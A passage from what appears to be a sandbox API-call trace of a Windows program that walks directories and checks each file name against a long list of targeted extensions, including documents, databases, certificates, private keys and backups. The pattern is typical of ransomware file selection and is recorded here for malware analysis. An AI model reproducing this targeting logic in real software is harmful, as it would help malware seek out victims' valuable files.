lstrlenW (lpString=".onetoc2") returned 8 [0074.616] lstrcmpiW (lpString1=".onetoc2", lpString2="rfil.sys") returned -1 [0074.616] lstrlenW (lpString=".opt") returned 4 [0074.616] lstrcmpiW (lpString1=".opt", lpString2=".sys") returned -1 [0074.616] lstrlenW (lpString=".oqy") returned 4 [0074.616] lstrcmpiW (lpString1=".oqy", lpString2=".sys") returned -1 [0074.616] lstrlenW (lpString=".orf") returned 4 [0074.616] lstrcmpiW (lpString1=".orf", lpString2=".sys") returned -1 [0074.616] lstrlenW (lpString=".p12") returned 4 [0074.616] lstrcmpiW (lpString1=".p12", lpString2=".sys") returned -1 [0074.616] lstrlenW (lpString=".p7b") returned 4 [0074.616] lstrcmpiW (lpString1=".p7b", lpString2=".sys") returned -1 [0074.616] lstrlenW (lpString=".p7c") returned 4 [0074.616] lstrcmpiW (lpString1=".p7c", lpString2=".sys") returned -1 [0074.616] lstrlenW (lpString=".pam") returned 4 [0074.616] lstrcmpiW (lpString1=".pam", lpString2=".sys") returned -1 [0074.616] lstrlenW (lpString=".pbm") returned 4 [0074.616] lstrcmpiW (lpString1=".pbm", lpString2=".sys") returned -1 [0074.616] lstrlenW (lpString=".pct") returned 4 [0074.616] lstrcmpiW (lpString1=".pct", lpString2=".sys") returned -1 [0074.616] lstrlenW (lpString=".pcx") returned 4 [0074.616] lstrcmpiW (lpString1=".pcx", lpString2=".sys") returned -1 [0074.616] lstrlenW (lpString=".pdd") returned 4 [0074.617] lstrcmpiW (lpString1=".pdd", lpString2=".sys") returned -1 [0074.617] lstrlenW (lpString=".pdf") returned 4 [0074.617] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0074.617] lstrlenW (lpString=".pdp") returned 4 [0074.617] lstrcmpiW (lpString1=".pdp", lpString2=".sys") returned -1 [0074.617] lstrlenW (lpString=".pef") returned 4 [0074.617] lstrcmpiW (lpString1=".pef", lpString2=".sys") returned -1 [0074.617] lstrlenW (lpString=".pem") returned 4 [0074.617] lstrcmpiW (lpString1=".pem", lpString2=".sys") returned -1 [0074.617] lstrlenW (lpString=".pff") returned 4 [0074.617] lstrcmpiW (lpString1=".pff", lpString2=".sys") returned -1 [0074.617] lstrlenW (lpString=".pfm") returned 4 [0074.617] lstrcmpiW (lpString1=".pfm", lpString2=".sys") returned -1 [0074.617] lstrlenW (lpString=".pfx") returned 4 [0074.617] lstrcmpiW (lpString1=".pfx", lpString2=".sys") returned -1 [0074.617] lstrlenW (lpString=".pgm") returned 4 [0074.617] lstrcmpiW (lpString1=".pgm", lpString2=".sys") returned -1 [0074.617] lstrlenW (lpString=".php") returned 4 [0074.617] lstrcmpiW (lpString1=".php", lpString2=".sys") returned -1 [0074.617] lstrlenW (lpString=".php3") returned 5 [0074.617] lstrcmpiW (lpString1=".php3", lpString2="l.sys") returned -1 [0074.617] lstrlenW (lpString=".php4") returned 5 [0074.617] lstrcmpiW (lpString1=".php4", lpString2="l.sys") returned -1 [0074.618] lstrlenW (lpString=".php5") returned 5 [0074.618] lstrcmpiW (lpString1=".php5", lpString2="l.sys") returned -1 [0074.618] lstrlenW (lpString=".phtml") returned 6 [0074.618] lstrcmpiW (lpString1=".phtml", lpString2="il.sys") returned -1 [0074.618] lstrlenW (lpString=".pict") returned 5 [0074.618] lstrcmpiW (lpString1=".pict", lpString2="l.sys") returned -1 [0074.618] lstrlenW (lpString=".pl") returned 3 [0074.618] lstrcmpiW (lpString1=".pl", lpString2="sys") returned -1 [0074.618] lstrlenW (lpString=".pls") returned 4 [0074.618] lstrcmpiW (lpString1=".pls", lpString2=".sys") returned -1 [0074.618] lstrlenW (lpString=".pm") returned 3 [0074.618] lstrcmpiW (lpString1=".pm", lpString2="sys") returned -1 [0074.618] lstrlenW (lpString=".png") returned 4 [0074.618] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0074.618] lstrlenW (lpString=".pnm") returned 4 [0074.618] lstrcmpiW (lpString1=".pnm", lpString2=".sys") returned -1 [0074.618] lstrlenW (lpString=".pot") returned 4 [0074.618] lstrcmpiW (lpString1=".pot", lpString2=".sys") returned -1 [0074.618] lstrlenW (lpString=".potm") returned 5 [0074.618] lstrcmpiW (lpString1=".potm", lpString2="l.sys") returned -1 [0074.619] lstrlenW (lpString=".potx") returned 5 [0074.619] lstrcmpiW (lpString1=".potx", lpString2="l.sys") returned -1 [0074.619] lstrlenW (lpString=".ppa") returned 4 [0074.619] lstrcmpiW (lpString1=".ppa", lpString2=".sys") returned -1 [0074.619] lstrlenW (lpString=".ppam") returned 5 [0074.619] lstrcmpiW (lpString1=".ppam", lpString2="l.sys") returned -1 [0074.619] lstrlenW (lpString=".ppm") returned 4 [0074.619] lstrcmpiW (lpString1=".ppm", lpString2=".sys") returned -1 [0074.619] lstrlenW (lpString=".pps") returned 4 [0074.619] lstrcmpiW (lpString1=".pps", lpString2=".sys") returned -1 [0074.619] lstrlenW (lpString=".ppsm") returned 5 [0074.619] lstrcmpiW (lpString1=".ppsm", lpString2="l.sys") returned -1 [0074.619] lstrlenW (lpString=".ppt") returned 4 [0074.619] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0074.619] lstrlenW (lpString=".pptm") returned 5 [0074.619] lstrcmpiW (lpString1=".pptm", lpString2="l.sys") returned -1 [0074.619] lstrlenW (lpString=".pptx") returned 5 [0074.619] lstrcmpiW (lpString1=".pptx", lpString2="l.sys") returned -1 [0074.619] lstrlenW (lpString=".prn") returned 4 [0074.619] lstrcmpiW (lpString1=".prn", lpString2=".sys") returned -1 [0074.620] lstrlenW (lpString=".ps") returned 3 [0074.620] lstrcmpiW (lpString1=".ps", lpString2="sys") returned -1 [0074.620] lstrlenW (lpString=".psb") returned 4 [0074.620] lstrcmpiW (lpString1=".psb", lpString2=".sys") returned -1 [0074.620] lstrlenW (lpString=".psd") returned 4 [0074.620] lstrcmpiW (lpString1=".psd", lpString2=".sys") returned -1 [0074.620] lstrlenW (lpString=".pst") returned 4 [0074.620] lstrcmpiW (lpString1=".pst", lpString2=".sys") returned -1 [0074.620] lstrlenW (lpString=".ptx") returned 4 [0074.620] lstrcmpiW (lpString1=".ptx", lpString2=".sys") returned -1 [0074.620] lstrlenW (lpString=".pub") returned 4 [0074.620] lstrcmpiW (lpString1=".pub", lpString2=".sys") returned -1 [0074.620] lstrlenW (lpString=".pwm") returned 4 [0074.620] lstrcmpiW (lpString1=".pwm", lpString2=".sys") returned -1 [0074.620] lstrlenW (lpString=".pxr") returned 4 [0074.620] lstrcmpiW (lpString1=".pxr", lpString2=".sys") returned -1 [0074.620] lstrlenW (lpString=".py") returned 3 [0074.620] lstrcmpiW (lpString1=".py", lpString2="sys") returned -1 [0074.620] lstrlenW (lpString=".qt") returned 3 [0074.620] lstrcmpiW (lpString1=".qt", lpString2="sys") returned -1 [0074.620] lstrlenW (lpString=".r3d") returned 4 [0074.620] lstrcmpiW (lpString1=".r3d", lpString2=".sys") returned -1 [0074.621] lstrlenW (lpString=".raf") returned 4 [0074.621] lstrcmpiW (lpString1=".raf", lpString2=".sys") returned -1 [0074.621] lstrlenW (lpString=".rar") returned 4 [0074.621] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0074.621] lstrlenW (lpString=".raw") returned 4 [0074.621] lstrcmpiW (lpString1=".raw", lpString2=".sys") returned -1 [0074.626] FindNextFileW (in: hFindFile=0x39741b0, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.627] FindNextFileW (in: hFindFile=0x39741b0, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0074.629] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x340f58c | out: lpFindFileData=0x340f58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.630] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x340f58c | out: lpFindFileData=0x340f58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0075.032] FindNextFileW (in: hFindFile=0x3974270, lpFindFileData=0x340f58c | out: lpFindFileData=0x340f58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.032] FindNextFileW (in: hFindFile=0x3974270, lpFindFileData=0x340f58c | out: lpFindFileData=0x340f58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0075.033] FindClose (in: hFindFile=0x3974270 | out: hFindFile=0x3974270) returned 1 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3ed0048 | out: hHeap=0x5b0000) returned 1 [0075.034] FindNextFileW (in: hFindFile=0x39741b0, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3ed0048 [0076.587] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.587] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0076.587] lstrlenW (lpString="MSLID.DLL") returned 9 [0076.587] lstrlenW (lpString=".1cd") returned 4 [0076.587] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0076.587] lstrlenW (lpString=".3ds") returned 4 [0076.587] lstrcmpiW (lpString1=".3ds", lpString2=".DLL") returned -1 [0076.587] lstrlenW (lpString=".3fr") returned 4 [0076.587] lstrcmpiW (lpString1=".3fr", lpString2=".DLL") returned -1 [0076.587] lstrlenW (lpString=".3g2") returned 4 [0076.588] lstrcmpiW (lpString1=".3g2", lpString2=".DLL") returned -1 [0076.588] lstrlenW (lpString=".3gp") returned 4 [0076.588] lstrcmpiW (lpString1=".3gp", lpString2=".DLL") returned -1 [0076.588] lstrlenW (lpString=".7z") returned 3 [0076.588] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0076.588] lstrlenW (lpString=".accda") returned 6 [0076.588] lstrcmpiW (lpString1=".accda", lpString2="ID.DLL") returned -1 [0076.588] lstrlenW (lpString=".accdb") returned 6 [0076.588] lstrcmpiW (lpString1=".accdb", lpString2="ID.DLL") returned -1 [0076.588] lstrlenW (lpString=".accdc") returned 6 [0076.588] lstrcmpiW (lpString1=".accdc", lpString2="ID.DLL") returned -1 [0076.588] lstrlenW (lpString=".accde") returned 6 [0076.588] lstrcmpiW (lpString1=".accde", lpString2="ID.DLL") returned -1 [0076.588] lstrlenW (lpString=".accdt") returned 6 [0076.589] lstrcmpiW (lpString1=".accdt", lpString2="ID.DLL") returned -1 [0076.589] lstrlenW (lpString=".accdw") returned 6 [0076.589] lstrcmpiW (lpString1=".accdw", lpString2="ID.DLL") returned -1 [0076.589] lstrlenW (lpString=".adb") returned 4 [0076.589] lstrcmpiW (lpString1=".adb", lpString2=".DLL") returned -1 [0076.589] lstrlenW (lpString=".adp") returned 4 [0076.589] lstrcmpiW (lpString1=".adp", lpString2=".DLL") returned -1 [0076.589] lstrlenW (lpString=".ai") returned 3 [0076.589] lstrcmpiW (lpString1=".ai", lpString2="DLL") returned -1 [0076.589] lstrlenW (lpString=".ai3") returned 4 [0076.589] lstrcmpiW (lpString1=".ai3", lpString2=".DLL") returned -1 [0076.589] lstrlenW (lpString=".ai4") returned 4 [0076.589] lstrcmpiW (lpString1=".ai4", lpString2=".DLL") returned -1 [0076.589] lstrlenW (lpString=".ai5") returned 4 [0076.590] lstrcmpiW (lpString1=".ai5", lpString2=".DLL") returned -1 [0076.590] lstrlenW (lpString=".ai6") returned 4 [0076.590] lstrcmpiW (lpString1=".ai6", lpString2=".DLL") returned -1 [0076.590] lstrlenW (lpString=".ai7") returned 4 [0076.590] lstrcmpiW (lpString1=".ai7", lpString2=".DLL") returned -1 [0076.590] lstrlenW (lpString=".ai8") returned 4 [0076.590] lstrcmpiW (lpString1=".ai8", lpString2=".DLL") returned -1 [0076.590] lstrlenW (lpString=".anim") returned 5 [0076.590] lstrcmpiW (lpString1=".anim", lpString2="D.DLL") returned -1 [0076.590] lstrlenW (lpString=".arw") returned 4 [0076.590] lstrcmpiW (lpString1=".arw", lpString2=".DLL") returned -1 [0076.590] lstrlenW (lpString=".as") returned 3 [0076.590] lstrcmpiW (lpString1=".as", lpString2="DLL") returned -1 [0076.591] lstrlenW (lpString=".asa") returned 4 [0076.591] lstrcmpiW (lpString1=".asa", lpString2=".DLL") returned -1 [0076.591] lstrlenW (lpString=".asc") returned 4 [0076.591] lstrcmpiW (lpString1=".asc", lpString2=".DLL") returned -1 [0076.591] lstrlenW (lpString=".ascx") returned 5 [0076.591] lstrcmpiW (lpString1=".ascx", lpString2="D.DLL") returned -1 [0076.591] lstrlenW (lpString=".asm") returned 4 [0076.591] lstrcmpiW (lpString1=".asm", lpString2=".DLL") returned -1 [0076.591] lstrlenW (lpString=".asmx") returned 5 [0076.591] lstrcmpiW (lpString1=".asmx", lpString2="D.DLL") returned -1 [0076.591] lstrlenW (lpString=".asp") returned 4 [0076.591] lstrcmpiW (lpString1=".asp", lpString2=".DLL") returned -1 [0076.591] lstrlenW (lpString=".aspx") returned 5 [0076.592] lstrcmpiW (lpString1=".aspx", lpString2="D.DLL") returned -1 [0076.592] lstrlenW (lpString=".asr") returned 4 [0076.592] lstrcmpiW (lpString1=".asr", lpString2=".DLL") returned -1 [0076.592] lstrlenW (lpString=".asx") returned 4 [0076.592] lstrcmpiW (lpString1=".asx", lpString2=".DLL") returned -1 [0076.592] lstrlenW (lpString=".avi") returned 4 [0076.592] lstrcmpiW (lpString1=".avi", lpString2=".DLL") returned -1 [0076.592] lstrlenW (lpString=".avs") returned 4 [0076.592] lstrcmpiW (lpString1=".avs", lpString2=".DLL") returned -1 [0076.592] lstrlenW (lpString=".backup") returned 7 [0076.592] lstrcmpiW (lpString1=".backup", lpString2="LID.DLL") returned -1 [0076.592] lstrlenW (lpString=".bak") returned 4 [0076.592] lstrcmpiW (lpString1=".bak", lpString2=".DLL") returned -1 [0076.592] lstrlenW (lpString=".bay") returned 4 [0076.592] lstrcmpiW (lpString1=".bay", lpString2=".DLL") returned -1 [0076.592] lstrlenW (lpString=".bd") returned 3 [0076.593] lstrcmpiW (lpString1=".bd", lpString2="DLL") returned -1 [0076.593] lstrlenW (lpString=".bin") returned 4 [0076.593] lstrcmpiW (lpString1=".bin", lpString2=".DLL") returned -1 [0076.593] lstrlenW (lpString=".bmp") returned 4 [0076.593] lstrcmpiW (lpString1=".bmp", lpString2=".DLL") returned -1 [0076.593] lstrlenW (lpString=".bz2") returned 4 [0076.593] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0076.593] lstrlenW (lpString=".c") returned 2 [0076.593] lstrcmpiW (lpString1=".c", lpString2="LL") returned -1 [0076.593] lstrlenW (lpString=".cdr") returned 4 [0076.593] lstrcmpiW (lpString1=".cdr", lpString2=".DLL") returned -1 [0076.593] lstrlenW (lpString=".cer") returned 4 [0076.593] lstrcmpiW (lpString1=".cer", lpString2=".DLL") returned -1 [0076.594] lstrlenW (lpString=".cf") returned 3 [0076.594] lstrcmpiW (lpString1=".cf", lpString2="DLL") returned -1 [0076.594] lstrlenW (lpString=".cfc") returned 4 [0076.594] lstrcmpiW (lpString1=".cfc", lpString2=".DLL") returned -1 [0076.594] lstrlenW (lpString=".cfm") returned 4 [0076.594] lstrcmpiW (lpString1=".cfm", lpString2=".DLL") returned -1 [0076.594] lstrlenW (lpString=".cfml") returned 5 [0076.594] lstrcmpiW (lpString1=".cfml", lpString2="D.DLL") returned -1 [0076.594] lstrlenW (lpString=".cfu") returned 4 [0076.594] lstrcmpiW (lpString1=".cfu", lpString2=".DLL") returned -1 [0076.594] lstrlenW (lpString=".chm") returned 4 [0076.594] lstrcmpiW (lpString1=".chm", lpString2=".DLL") returned -1 [0076.594] lstrlenW (lpString=".cin") returned 4 [0076.595] lstrcmpiW (lpString1=".cin", lpString2=".DLL") returned -1 [0076.595] lstrlenW (lpString=".class") returned 6 [0076.595] lstrcmpiW (lpString1=".class", lpString2="ID.DLL") returned -1 [0076.595] lstrlenW (lpString=".clx") returned 4 [0076.595] lstrcmpiW (lpString1=".clx", lpString2=".DLL") returned -1 [0076.595] lstrlenW (lpString=".config") returned 7 [0076.595] lstrcmpiW (lpString1=".config", lpString2="LID.DLL") returned -1 [0076.595] lstrlenW (lpString=".cpp") returned 4 [0076.595] lstrcmpiW (lpString1=".cpp", lpString2=".DLL") returned -1 [0076.595] lstrlenW (lpString=".cr2") returned 4 [0076.595] lstrcmpiW (lpString1=".cr2", lpString2=".DLL") returned -1 [0076.595] lstrlenW (lpString=".crt") returned 4 [0076.595] lstrcmpiW (lpString1=".crt", lpString2=".DLL") returned -1 [0076.595] lstrlenW (lpString=".crw") returned 4 [0076.595] lstrcmpiW (lpString1=".crw", lpString2=".DLL") returned -1 [0076.596] lstrlenW (lpString=".cs") returned 3 [0076.596] lstrcmpiW (lpString1=".cs", lpString2="DLL") returned -1 [0076.596] lstrlenW (lpString=".css") returned 4 [0076.596] lstrcmpiW (lpString1=".css", lpString2=".DLL") returned -1 [0076.596] lstrlenW (lpString=".csv") returned 4 [0076.596] lstrcmpiW (lpString1=".csv", lpString2=".DLL") returned -1 [0076.596] lstrlenW (lpString=".cub") returned 4 [0076.596] lstrcmpiW (lpString1=".cub", lpString2=".DLL") returned -1 [0076.596] lstrlenW (lpString=".dae") returned 4 [0076.596] lstrcmpiW (lpString1=".dae", lpString2=".DLL") returned -1 [0076.596] lstrlenW (lpString=".dat") returned 4 [0076.596] lstrcmpiW (lpString1=".dat", lpString2=".DLL") returned -1 [0076.596] lstrlenW (lpString=".db") returned 3 [0076.596] lstrcmpiW (lpString1=".db", lpString2="DLL") returned -1 [0076.596] lstrlenW (lpString=".dbf") returned 4 [0076.597] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0076.597] lstrlenW (lpString=".dbx") returned 4 [0076.597] lstrcmpiW (lpString1=".dbx", lpString2=".DLL") returned -1 [0076.597] lstrlenW (lpString=".dc3") returned 4 [0076.597] lstrcmpiW (lpString1=".dc3", lpString2=".DLL") returned -1 [0076.597] lstrlenW (lpString=".dcm") returned 4 [0076.597] lstrcmpiW (lpString1=".dcm", lpString2=".DLL") returned -1 [0076.597] lstrlenW (lpString=".dcr") returned 4 [0076.597] lstrcmpiW (lpString1=".dcr", lpString2=".DLL") returned -1 [0076.597] lstrlenW (lpString=".der") returned 4 [0076.597] lstrcmpiW (lpString1=".der", lpString2=".DLL") returned -1 [0076.597] lstrlenW (lpString=".dib") returned 4 [0076.597] lstrcmpiW (lpString1=".dib", lpString2=".DLL") returned -1 [0076.598] lstrlenW (lpString=".dic") returned 4 [0076.598] lstrcmpiW (lpString1=".dic", lpString2=".DLL") returned -1 [0076.598] lstrlenW (lpString=".dif") returned 4 [0076.598] lstrcmpiW (lpString1=".dif", lpString2=".DLL") returned -1 [0076.598] lstrlenW (lpString=".divx") returned 5 [0076.598] lstrcmpiW (lpString1=".divx", lpString2="D.DLL") returned -1 [0076.598] lstrlenW (lpString=".djvu") returned 5 [0076.598] lstrcmpiW (lpString1=".djvu", lpString2="D.DLL") returned -1 [0076.598] lstrlenW (lpString=".dng") returned 4 [0076.598] lstrcmpiW (lpString1=".dng", lpString2=".DLL") returned 1 [0076.598] lstrlenW (lpString=".doc") returned 4 [0076.598] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0076.598] lstrlenW (lpString=".docm") returned 5 [0076.599] lstrcmpiW (lpString1=".docm", lpString2="D.DLL") returned -1 [0076.599] lstrlenW (lpString=".docx") returned 5 [0076.599] lstrcmpiW (lpString1=".docx", lpString2="D.DLL") returned -1 [0076.599] lstrlenW (lpString=".dot") returned 4 [0076.599] lstrcmpiW (lpString1=".dot", lpString2=".DLL") returned 1 [0076.599] lstrlenW (lpString=".dotm") returned 5 [0076.599] lstrcmpiW (lpString1=".dotm", lpString2="D.DLL") returned -1 [0076.599] lstrlenW (lpString=".dotx") returned 5 [0076.599] lstrcmpiW (lpString1=".dotx", lpString2="D.DLL") returned -1 [0076.599] lstrlenW (lpString=".dpx") returned 4 [0076.599] lstrcmpiW (lpString1=".dpx", lpString2=".DLL") returned 1 [0076.599] lstrlenW (lpString=".dqy") returned 4 [0076.599] lstrcmpiW (lpString1=".dqy", lpString2=".DLL") returned 1 [0076.600] lstrlenW (lpString=".dsn") returned 4 [0076.600] lstrcmpiW (lpString1=".dsn", lpString2=".DLL") returned 1 [0076.600] lstrlenW (lpString=".dt") returned 3 [0076.600] lstrcmpiW (lpString1=".dt", lpString2="DLL") returned -1 [0076.600] lstrlenW (lpString=".dtd") returned 4 [0076.600] lstrcmpiW (lpString1=".dtd", lpString2=".DLL") returned 1 [0076.600] lstrlenW (lpString=".dwg") returned 4 [0076.600] lstrcmpiW (lpString1=".dwg", lpString2=".DLL") returned 1 [0076.600] lstrlenW (lpString=".dwt") returned 4 [0076.600] lstrcmpiW (lpString1=".dwt", lpString2=".DLL") returned 1 [0076.600] lstrlenW (lpString=".dx") returned 3 [0076.600] lstrcmpiW (lpString1=".dx", lpString2="DLL") returned -1 [0076.600] lstrlenW (lpString=".dxf") returned 4 [0076.600] lstrcmpiW (lpString1=".dxf", lpString2=".DLL") returned 1 [0076.601] lstrlenW (lpString=".edml") returned 5 [0076.601] lstrcmpiW (lpString1=".edml", lpString2="D.DLL") returned -1 [0076.601] lstrlenW (lpString=".efd") returned 4 [0076.601] lstrcmpiW (lpString1=".efd", lpString2=".DLL") returned 1 [0076.601] lstrlenW (lpString=".elf") returned 4 [0076.601] lstrcmpiW (lpString1=".elf", lpString2=".DLL") returned 1 [0076.601] lstrlenW (lpString=".emf") returned 4 [0076.601] lstrcmpiW (lpString1=".emf", lpString2=".DLL") returned 1 [0076.601] lstrlenW (lpString=".emz") returned 4 [0076.601] lstrcmpiW (lpString1=".emz", lpString2=".DLL") returned 1 [0076.601] lstrlenW (lpString=".epf") returned 4 [0076.601] lstrcmpiW (lpString1=".epf", lpString2=".DLL") returned 1 [0076.601] lstrlenW (lpString=".eps") returned 4 [0076.601] lstrcmpiW (lpString1=".eps", lpString2=".DLL") returned 1 [0076.602] lstrlenW (lpString=".epsf") returned 5 [0076.602] lstrcmpiW (lpString1=".epsf", lpString2="D.DLL") returned -1 [0076.602] lstrlenW (lpString=".epsp") returned 5 [0076.602] lstrcmpiW (lpString1=".epsp", lpString2="D.DLL") returned -1 [0076.602] lstrlenW (lpString=".erf") returned 4 [0076.602] lstrcmpiW (lpString1=".erf", lpString2=".DLL") returned 1 [0076.602] lstrlenW (lpString=".exr") returned 4 [0076.602] lstrcmpiW (lpString1=".exr", lpString2=".DLL") returned 1 [0076.602] lstrlenW (lpString=".f4v") returned 4 [0076.602] lstrcmpiW (lpString1=".f4v", lpString2=".DLL") returned 1 [0076.602] lstrlenW (lpString=".fido") returned 5 [0076.602] lstrcmpiW (lpString1=".fido", lpString2="D.DLL") returned -1 [0076.602] lstrlenW (lpString=".flm") returned 4 [0076.602] lstrcmpiW (lpString1=".flm", lpString2=".DLL") returned 1 [0076.603] lstrlenW (lpString=".flv") returned 4 [0076.603] lstrcmpiW (lpString1=".flv", lpString2=".DLL") returned 1 [0076.603] lstrlenW (lpString=".frm") returned 4 [0076.603] lstrcmpiW (lpString1=".frm", lpString2=".DLL") returned 1 [0076.603] lstrlenW (lpString=".fxg") returned 4 [0076.604] lstrcmpiW (lpString1=".fxg", lpString2=".DLL") returned 1 [0076.604] lstrlenW (lpString=".geo") returned 4 [0076.604] lstrcmpiW (lpString1=".geo", lpString2=".DLL") returned 1 [0076.604] lstrlenW (lpString=".gif") returned 4 [0076.604] lstrcmpiW (lpString1=".gif", lpString2=".DLL") returned 1 [0076.604] lstrlenW (lpString=".grs") returned 4 [0076.604] lstrcmpiW (lpString1=".grs", lpString2=".DLL") returned 1 [0076.604] lstrlenW (lpString=".gz") returned 3 [0076.604] lstrcmpiW (lpString1=".gz", lpString2="DLL") returned -1 [0076.604] lstrlenW (lpString=".h") returned 2 [0076.604] lstrcmpiW (lpString1=".h", lpString2="LL") returned -1 [0076.604] lstrlenW (lpString=".hdr") returned 4 [0076.605] lstrcmpiW (lpString1=".hdr", lpString2=".DLL") returned 1 [0076.605] lstrlenW (lpString=".hpp") returned 4 [0076.605] lstrcmpiW (lpString1=".hpp", lpString2=".DLL") returned 1 [0076.605] lstrlenW (lpString=".hta") returned 4 [0076.605] lstrcmpiW (lpString1=".hta", lpString2=".DLL") returned 1 [0076.605] lstrlenW (lpString=".htc") returned 4 [0076.605] lstrcmpiW (lpString1=".htc", lpString2=".DLL") returned 1 [0076.605] lstrlenW (lpString=".htm") returned 4 [0076.605] lstrcmpiW (lpString1=".htm", lpString2=".DLL") returned 1 [0076.605] lstrlenW (lpString=".html") returned 5 [0076.605] lstrcmpiW (lpString1=".html", lpString2="D.DLL") returned -1 [0076.605] lstrlenW (lpString=".icb") returned 4 [0076.606] lstrcmpiW (lpString1=".icb", lpString2=".DLL") returned 1 [0076.606] lstrlenW (lpString=".ics") returned 4 [0076.606] lstrcmpiW (lpString1=".ics", lpString2=".DLL") returned 1 [0076.606] lstrlenW (lpString=".iff") returned 4 [0076.606] lstrcmpiW (lpString1=".iff", lpString2=".DLL") returned 1 [0076.606] lstrlenW (lpString=".inc") returned 4 [0076.606] lstrcmpiW (lpString1=".inc", lpString2=".DLL") returned 1 [0076.606] lstrlenW (lpString=".indd") returned 5 [0076.606] 